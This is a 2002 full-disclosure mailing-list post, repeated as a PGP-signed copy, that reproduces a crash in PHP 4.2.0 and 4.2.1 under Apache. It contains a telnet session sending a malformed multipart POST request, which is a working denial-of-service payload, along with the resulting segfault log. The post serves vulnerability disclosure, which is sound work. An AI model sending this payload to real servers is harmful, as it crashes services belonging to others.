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List:       full-disclosure
Subject:    [Full-Disclosure] How to reproduce PHP segfault.
From:       "Joseph S. Testa II" <jtesta () rapid7 ! com>
Date:       2002-07-24 14:28:49
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Happy Wednesday.

     The following is an example on how to reproduce the segmentation violation
in PHP 4.2.0 & PHP 4.2.1 with Apache 1.3.26 on Linux x86:


[jdog@wonderland logs]$ telnet 192.168.x.x 80
Trying 192.168.x.x...
Connected to 192.168.x.x.
Escape character is '^]'.
POST /chad_owns_me.php HTTP/1.0
Content-type: multipart/form-data; boundary=---------------------------123
Content-length: 129

-----------------------------123
Content-Disposition: filename

http://www.rapid7.com/
-----------------------------123--

Connection closed by foreign host.
[jdog@wonderland logs]$ cat error_log
[Tue Jul 23 11:11:52 2002] [notice] child pid 8948 exit signal Segmentation 
fault (11)
[jdog@wonderland logs]$


     Note that a path to an existing PHP file must be used, otherwise the PHP
interpreter will not be invoked.


     - Joe


GPG key:  http://www.cs.rit.edu/~jst3290/joetesta_r7.pub
A22B 2683 C40E 5443 AE52  AD6D 65B2 F5DF 4B11 06B4


["php.asc" (php.asc)]

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1



Happy Wednesday.

    The following is an example on how to reproduce the segmentation violation
in PHP 4.2.0 & PHP 4.2.1 with Apache 1.3.26 on Linux x86:


[jdog@wonderland logs]$ telnet 192.168.x.x 80
Trying 192.168.x.x...
Connected to 192.168.x.x.
Escape character is '^]'.
POST /chad_owns_me.php HTTP/1.0
Content-type: multipart/form-data; boundary=---------------------------123
Content-length: 129

- -----------------------------123
Content-Disposition: filename

http://www.rapid7.com/
- -----------------------------123--

Connection closed by foreign host.
[jdog@wonderland logs]$ cat error_log 
[Tue Jul 23 11:11:52 2002] [notice] child pid 8948 exit signal Segmentation fault (11)
[jdog@wonderland logs]$ 


    Note that a path to an existing PHP file must be used, otherwise the PHP
interpreter will not be invoked.


    - Joe


GPG key:  http://www.cs.rit.edu/~jst3290/joetesta_r7.pub
A22B 2683 C40E 5443 AE52  AD6D 65B2 F5DF 4B11 06B4

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